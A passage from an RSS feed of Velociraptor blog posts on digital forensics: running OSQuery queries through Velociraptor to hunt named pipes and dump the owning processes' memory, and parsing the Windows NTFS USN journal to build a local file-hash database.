OSQuery binary to the endpoint securely (line 29–30), then shell out to the binary executing the provided query (line 32–34). Finally the result is parsed from JSON and returned as a standard VQL result set (line 36–39).&lt;/p&gt;&#xA;&lt;p&gt;The entire OSQuery integration is implemented as above in VQL — one does not need to do anything else in order to launch an OSQuery query on a remote host… In particular, one does not need to have OSQuery installed on the endpoint in advance! Velociraptor will push the binary to the endpoint on demand, managing binary versioning if required and maintaining a local copy of OSQuery on the endpoint.&lt;/p&gt;&#xA;&lt;h3 id=&#34;lets-go-hunting&#34;&gt;Let’s go hunting…&lt;/h3&gt;&#xA;&lt;p&gt;Let’s look for an interesting OSQuery query that we might want to run. A great resource of public OSQuery queries can be found in Recon Infosec’s public OSQuery resource &lt;a href=&#34;https://rhq.reconinfosec.com/tactics/lateral_movement/&#34; target=&#34;_blank&#34; &gt;https://rhq.reconinfosec.com/&lt;/a&gt;. For this example I will choose the query looking for&lt;a href=&#34;https://rhq.reconinfosec.com/tactics/lateral_movement/&#34; target=&#34;_blank&#34; &gt; SMB/Named Pipes&lt;/a&gt;, written by Eric Capuano.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-13-velociraptor-and-osquery-2a4306dd23c/../../img/1xDWUDCakSzp1rOEoFAX0nQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;A Named Pipe is a Windows IPC method that allows communication between different processes. Many attack tools open multiple processes, and use named pipes to communicate between those, &lt;a href=&#34;https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/&#34; target=&#34;_blank&#34; &gt;including metasploit or Cobalt Strike.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The query identifies processes using named pipes, making it a nice signal or a baseline for which processes in your environment typically communicate with pipes.&lt;/p&gt;&#xA;&lt;p&gt;To test this query, I created a quick named pipe server in Powershell that creates a named pipe called &lt;strong&gt;BlackJack&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-powershell&#34;&gt;while (1) {&#xA;  $npipeServer = new-object System.IO.Pipes.NamedPipeServerStream(&#39;BlackJack&#39;,&#xA;     [System.IO.Pipes.PipeDirection]::InOut)&#xA;&#xA;  $npipeServer.WaitForConnection()&#xA;  $npipeServer.Close()&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After selecting my test machine in the Velociraptor GUI, I created a new collection then searched for the OSQuery artifact. Since this is a Windows system, I select the Windows variant of the artifact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-13-velociraptor-and-osquery-2a4306dd23c/../../img/1RVNYzIVcDFFheVsNVh6VNg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;After selecting the &lt;strong&gt;Windows.OSQuery.Generic&lt;/strong&gt; artifact, I can click the “Configure Parameters” screen where I am able to enter the OSQuery query to run.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-13-velociraptor-and-osquery-2a4306dd23c/../../img/1EHhozA18vJkf_71fWEzixw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Finally I click the “Launch” button to start the new collection. This will collect the &lt;strong&gt;Windows.OSQuery.Generic&lt;/strong&gt; artifact on this machine, Velociraptor will push the OSQuery binary to the endpoints and cache it locally. On subsequent collections, the endpoint will compare the local hash of the binary with the required hash and only fetch a new version if necessary — therefore subsequent executions are very rapid.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-13-velociraptor-and-osquery-2a4306dd23c/../../img/1erZCLT_m1iht3lwyLXrjzQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;As can be seen above, the OSQuery query produces a table of results, indistinguishable from a typical Velociraptor artifact.&lt;/p&gt;&#xA;&lt;h3 id=&#34;extending-osquery-with-vql&#34;&gt;Extending OSQuery with VQL&lt;/h3&gt;&#xA;&lt;p&gt;The previous OSQuery query returns all the named pipes on the endpoint and their owner processes. Suppose we now wanted to build on this query and identify high value signals — for the sake of this example, suppose the named pipe “&lt;strong&gt;BlackJack&lt;/strong&gt;” is a known malicious name belonging to a specific malware variant. Let us therefore, collect a process memory dump of all processes which open a named pipe with the name BlackJack for further analysis. We wish to do so by extending the OSQuery query we had earlier with some VQL.&lt;/p&gt;&#xA;&lt;p&gt;I created a new custom Velociraptor artifact by wrapping some VQL around the existing OSQuery artifacts. To do this I click on the “View Artifacts” screen, select “Add an Artifact” and type the following YAML artifact into the GUI.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-13-velociraptor-and-osquery-2a4306dd23c/../../img/1KP41G6qnjZSKb1M4HqjRbg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The full artifact text is also shown here.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;name: Custom.OSQuery.BlackJack&#xA;description: |&#xA;   Get memory dumps of all processes with a named pipe called BlackJack&#xA;&#xA;parameters:&#xA;   - name: NamedProcessRegex&#xA;     default: BlackJack&#xA;   - name: OSQuery_query&#xA;     default: &amp;quot;SELECT proc.parent AS process_parent, proc.path AS process_path, proc.pid AS process_id, proc.cwd AS process_directory, pipe.pid AS pipe_pid, pipe.name AS pipe_name FROM processes proc JOIN pipes pipe ON proc.pid=pipe.pid;&amp;quot;&#xA;&#xA;sources:&#xA;  - precondition:&#xA;      SELECT OS From info() where OS = &#39;windows&#39;&#xA;&#xA;    query: |&#xA;      LET matching_processes = SELECT *&#xA;      FROM Artifact.Windows.OSQuery.Generic(Query=OSQuery_query)&#xA;      WHERE pipe_name =~ NamedProcessRegex&#xA;      GROUP BY process_id&#xA;&#xA;      SELECT * FROM foreach(row=matching_processes,&#xA;      query={&#xA;          SELECT pipe_name, process_id, process_path,&#xA;                    upload(file=FullPath) AS MemDump&#xA;          FROM proc_dump(pid=int(int=process_id))&#xA;      })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Velociraptor Artifacts are simply YAML files which encapsulate VQL queries and provide the whole thing with a name. Users now simply need to collect the &lt;strong&gt;Custom.OSQuery.BlackJack&lt;/strong&gt; artifact without needing to write their own VQL.&lt;/p&gt;&#xA;&lt;p&gt;Let’s take a look at how this artifact works. The VQL simply calls the same &lt;strong&gt;Windows.OSQuery.Generic&lt;/strong&gt; artifact we ran previously, it then filters the result set to only match the &lt;strong&gt;BlackJack&lt;/strong&gt; pipe. For each matching process, the VQL then call the &lt;strong&gt;proc_dump()&lt;/strong&gt; plugin to obtain a dump of process memory and then uploads it to the server.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-13-velociraptor-and-osquery-2a4306dd23c/../../img/1S7hKtacdqBTHg_We6pG90A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The result is a 230Mb dump file that can be opened by the windows debugger for each process found holding a named pipe called BlackJack.&lt;/p&gt;&#xA;&lt;p&gt;We can now hunt our entire deployment looking for specific named pipes in seconds.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;In this blog post I demonstrated how Velociraptor integrates OSQuery as a natural extension to the Velociraptor Query Language. To use OSQuery with Velociraptor, one simply collects the relevant artifact from the endpoint. Users do not need to have OSQuery installed on the endpoint — Velociraptor manages the distribution and update of the binary as needed transparently behind the scenes.&lt;/p&gt;&#xA;&lt;p&gt;We then saw how to extend OSQuery queries seamlessly with the additional functionality built into Velociraptor, by capturing and uploading memory dumps as additional triaging artifacts.&lt;/p&gt;&#xA;&lt;p&gt;So what are the pros and cons of using OSQuery within Velociraptor?&lt;/p&gt;&#xA;&lt;p&gt;The biggest advantage of the OSQuery integration is that existing OSQuery queries just work without modifications. This avoids having to rewrite the same queries in VQL using Velociraptor’s native query language (and potentially having to learn yet another query language). Having the ability to directly use OSQuery queries makes all the OSQuery resources on the web immediately available for use with Velociraptor (For example &lt;a href=&#34;https://community.carbonblack.com/t5/Query-Exchange/idb-p/query_exchange&#34; target=&#34;_blank&#34; &gt;Carbon Black’s Query Exchange&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;An obvious disadvantage of the integration is that Velociraptor still ends up shelling to OSQuery to actually perform the query — therefore Velociraptor has no control of the resource usage consumed by OSQuery during query execution (however cancelling the artifact collection will terminate the OSQuery process). While normal VQL queries have throttling setting controlling the CPU load, we lose this ability when running the OSQuery process.&lt;/p&gt;&#xA;&lt;p&gt;To play with this feature yourself, take&lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt; Velociraptor for a spin&lt;/a&gt;! It is a available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list &lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt; . You can also chat with us directly on discord &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>The Windows USN Journal</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/</link>
      <pubDate>Thu, 12 Nov 2020 00:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/</guid>
      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/../../img/1Nv0e89B_XOhBSxpY2v9Z8g.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Thanks to &lt;a href=&#34;https://twitter.com/mgreen27&#34; target=&#34;_blank&#34; &gt;Matt Green &lt;/a&gt;for discussions, ideas and code….&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;NTFS is the default filesystem on Windows systems, so it is important for DFIR tools to support extracting as much system state information as possible from it. Velociraptor already has a full featured &lt;a href=&#34;https://www.velocidex.com/blog/medium/2019-11-15_recovering-deleted-ntfs-files-with-velociraptor-1fcf09855311/&#34; target=&#34;_blank&#34; &gt;NTFS parser&lt;/a&gt;, and in a recent release (0.5.2) also added a parser for the &lt;strong&gt;USN Journal&lt;/strong&gt; (Update Sequence Number Journal), or &lt;a href=&#34;https://en.wikipedia.org/wiki/USN_Journal&#34; target=&#34;_blank&#34; &gt;Change Journal&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-is-the-usn-journal&#34;&gt;What is the USN Journal?&lt;/h3&gt;&#xA;&lt;p&gt;By default Windows maintains a journal of filesystem activities in a file called &lt;strong&gt;$Extend$UsnJrnl&lt;/strong&gt; in a special data stream called &lt;strong&gt;$J&lt;/strong&gt;. This stream contains records of filesystem operations, primarily to allow backup applications visibility into the files that have been changed since the last time a backup was run.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;$Extend$UsnJrnl:$J&lt;/strong&gt; file begins life when the volume is created as an empty file. As files are modified on the volume, the $J file is extended with additional USN records.&lt;/p&gt;&#xA;&lt;p&gt;In order to preserve space, the NTFS creators use an ingenious trick: The beginning of the file is erased and made into a sparse run. Since NTFS can handle sparse files (i.e. files with large runs containing no data) efficiently, the file effectively does not consume any more disk space than needed but does not need to be rotated or truncated and can just seem to grow infinitely.&lt;/p&gt;&#xA;&lt;p&gt;This means that in practice we find the &lt;strong&gt;$J&lt;/strong&gt; file on a live system reporting a huge size (sometimes many hundreds of gigabytes!), however usually the start of the file is sparse and takes no disk space, so the $J file typically only consumes around 30–40mb of actual disk space. This is illustrated in the diagram below.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/../../img/1oh4ARro_MayRRUZAJHqhaw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;USN Records are written back to back within the file. The USN records contain&lt;a href=&#34;https://docs.microsoft.com/en-us/windows/win32/api/winioctl/ns-winioctl-usn_record_v2&#34; target=&#34;_blank&#34; &gt; valuable information&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The USN ID is actually the offset of the record within the file. This is a unique ID of the USN record (since the file is never truncated).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;A Timestamp — This is a timestamp for the file modification&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Reason — is the reason of this modification for example DATA_TRUNCATION, DATA_EXTEND, FILE_CREATE, FILE_DELETE etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Filename is the name of the file that is being affected.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Parent MFT ID points to the parent record within the MFT (the changed file’s containing directory).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Using the Filename and Parent MFT ID allows Velociraptor to resolve the full path of the file from the root of the filesystem.&lt;/p&gt;&#xA;&lt;h3 id=&#34;velociraptors-usn-parser&#34;&gt;Velociraptor’s USN Parser&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor provides access to the USN parser via the &lt;strong&gt;parse_usn()&lt;/strong&gt; plugin. Let’s see what kind of data this plugin provides by running a simple query in the notebook&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/../../img/1JkUkNsAJWFjP9uzwf56Jig.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above I hid some of the less interesting fields, but we can immediately see the USN records are shown with their USN ID (which is the offset in the $J file), the timestamp, the full path to the modified file and the reasons for modifications.&lt;/p&gt;&#xA;&lt;p&gt;When a program interacts with a file, we typically see a bunch of related filesystem events. For example, I can create a new file called &lt;strong&gt;test.txt&lt;/strong&gt; using notepad and write some data into it. I can then query the USN journal for modifications to that file (The &lt;strong&gt;=~&lt;/strong&gt; operator is VQL’s regex match)…&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/../../img/1gB2SCYCpK5xLceNH_OhhZg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Notepad seems to interact with the file using a number of separate operations and this adds several events into the USN journal file for the same interaction.&lt;/p&gt;&#xA;&lt;p&gt;Previously, Velociraptor was able to only collect the USN journal file and users had to rely on other third party tools to parse it (e.g. &lt;a href=&#34;https://tzworks.net/prototype_page.php?proto_id=5&#34; target=&#34;_blank&#34; &gt;this&lt;/a&gt; or &lt;a href=&#34;https://github.com/PoorBillionaire/USN-Journal-Parser&#34; target=&#34;_blank&#34; &gt;this&lt;/a&gt;). The problem with that approach is that external tools usually have no access to the original $MFT and therefore were unable to resolve the parent MFT id in the USN record to a full path. Parsing the USN records directly on the endpoint allows Velociraptor to immediately resolve the files into a full path making analysis much easier later.&lt;/p&gt;&#xA;&lt;h3 id=&#34;when-to-use-the-usn-journal&#34;&gt;When to use the USN Journal?&lt;/h3&gt;&#xA;&lt;p&gt;The USN journal can provide visibility into filesystem activity going back quite a long time. It seems that Windows aims to keep the maximum actual size of the log file around 30–40mb (remember, the file is sparse) so if the machine is not used too heavily, we sometimes find the log goes back a week or two. This gives us visibility on past system activity.&lt;/p&gt;&#xA;&lt;p&gt;Practically this can be useful:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;When a program is run, typically we can see the prefetch files modified which gives us a timestamp on execution (in the case where the prefetch files themselves were deleted).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;One can see file modification or creation of a particular file extension (e.g. executables) or within specific directories (e.g. Windows\System32) which might indicate system compromise took place.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Many compromises occur after an initial file based malware was run (e.g. office macros, or PDF). The USN journal can provide a time of initial infection.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The USN journal can provide evidence of deleted files. With Velociraptor it is possible to efficiently hunt for all machines that had the particular file in the recent past — even if the file was subsequently deleted. This is useful to find evidence of attacker toolkit installation, or initial vectors of compromise.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;watching-the-usn-journal&#34;&gt;Watching the USN journal&lt;/h3&gt;&#xA;&lt;p&gt;In the previous section we saw how Velociraptor can parse the USN journal on a running system, enabling hunting and analysis of past filesystem activity.&lt;/p&gt;&#xA;&lt;p&gt;However, Velociraptor is built around VQL — a unique query language allowing for asynchronous and event driven queries. Therefore, Velociraptor also has the unique ability to create event queries — queries that never terminate, but process data as it occurs.&lt;/p&gt;&#xA;&lt;p&gt;As such, Velociraptor offers many event driven versions of the standard plugins. For USN Journals, Velociraptor offers the &lt;strong&gt;watch_usn()&lt;/strong&gt; plugin as an event driven alternative to the &lt;strong&gt;parse_usn()&lt;/strong&gt; plugin. When a query uses &lt;strong&gt;watch_usn()&lt;/strong&gt;, Velociraptor will watch the USN log for new entries, and as they appear, the plugin will release the event into the rest of the query.&lt;/p&gt;&#xA;&lt;p&gt;This allows Velociraptor to watch for file changes in near real time on the running system. You can easily see this effect by running an event query from the command line:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/../../img/1kVFXU7krriNv2m1srYsTWg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;As filesystem changes occur they are picked up by the &lt;strong&gt;watch_usn()&lt;/strong&gt; plugin and reported a short time later. This allows us to write queries that respond to filesystem events in near real time.&lt;/p&gt;&#xA;&lt;h3 id=&#34;event-monitoring-example-hash-database&#34;&gt;Event monitoring example: Hash database&lt;/h3&gt;&#xA;&lt;p&gt;Having the ability for Velociraptor to actively watch for filesystem events in near real time opens the door for many potential applications. One very useful application is maintaining a local hash database on endpoints.&lt;/p&gt;&#xA;&lt;p&gt;Hunting for a file hash on endpoints can be a very useful technique. While attackers can and do change their tools trivially to make hunting for file hash ineffective, once a specific compromise is detected, being able to rapidly hunt for the same hash across the entire fleet can reveal other compromised hosts.&lt;/p&gt;&#xA;&lt;p&gt;Up until now, hunting for hashes on a machine was difficult and resource intensive. This is because trying to determine if any files exist on an endpoint having a given hash requires hashing all the files and comparing their hash to the required hash — so essentially hashing every file on the system!&lt;/p&gt;&#xA;&lt;p&gt;Even after reasonable optimizations around file size, modification time ranges, file extensions etc, a hunt for hashes is quite resource intensive, and therefore used sparingly.&lt;/p&gt;&#xA;&lt;p&gt;The ability to follow the USN journal changes all that. We can simply watch the filesystem for changes, and when a file is modified, we can hash it immediately and store the hash locally in a database on the endpoint itself. Then later we can simply query that database rapidly for the presence of the hash.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/../../img/1v8WrntHsWl3XbrDZ1yFuDw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;As mentioned in the previous section, a single change typically involves several USN log entries. We therefore need to deduplicate these changes. We simply need to know that a particular file may have changed recently (say in the last few minutes) and we can then rehash it and update the database accordingly.&lt;/p&gt;&#xA;&lt;p&gt;All this can easily be implemented using a VQL query, which we can store in a VQL artifact. You can see the &lt;strong&gt;Windows.Forensics.LocalHashes.Usn&lt;/strong&gt; &lt;a href=&#34;https://github.com/Velocidex/velociraptor/blob/master/artifacts/definitions/Windows/Forensics/LocalHashes/Usn.yaml&#34; target=&#34;_blank&#34; &gt;full artifact source here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In order to get this query to run on the endpoints, we assign the artifact as a client event detection artifact, by clicking the “Client Events” screen and then the “Update Client monitoring table” button. After selecting the label group to apply to (All will apply this to all machines in your deployment), simply add the &lt;strong&gt;Windows.Forensics.LocalHashes.Usn&lt;/strong&gt; artifact by searching for it.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/../../img/1ebbAwSff_9QqhbQqfMThnA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The most important configuration parameter is the PathRegex specifying which files we should be watching. For example, you might only be interested in hashes of executables or word documents. Leaving the setting at “.” will match any file, including very frequently used files like event logs and databases — this setting can potentially affect performance. Finally you can suppress the artifact output if you like — this just means that hashes will not be additionally reported to the Velociraptor server. They will just be updating the local database instead.&lt;/p&gt;&#xA;&lt;p&gt;Once the query is deployed it will run on all endpoints and start feeding hash information to the server (if required). You can see this information in the client monitoring screen by simply selecting the artifact and choosing a day of interest&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/../../img/1CIoyTKKFshUGoHFlS4zx5A.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;You can now easily page through the data viewing the hashes and files that were added since the query started. You can also download the entire SQLite database file from the endpoint, or watch the events on the server for specific file types or hashes found across the entire deployment.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/../../img/17fRC-jlP_4VxarLtqfhtMQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Let’s test querying this local database. I will just pick a random&#xA;hash and see if my endpoint has this hash. I will simply collect the&#xA;Windows.Forensics.LocalHashes.Query artifact on my endpoint and&#xA;configure it to search for the hash&#xA;&lt;code&gt;f4065c7516d47e6cb5b5f58e1ddd1312&lt;/code&gt;. This hash can be entered as a&#xA;table in the GUI or simply as a comma delimited text field.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/../../img/17SU9muB1xlvOuwZ-AGxkPQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The artifact returns almost instantly with the file that this hash belongs to&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/../../img/1Wprj9Wic03bIg-86ClDBtg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  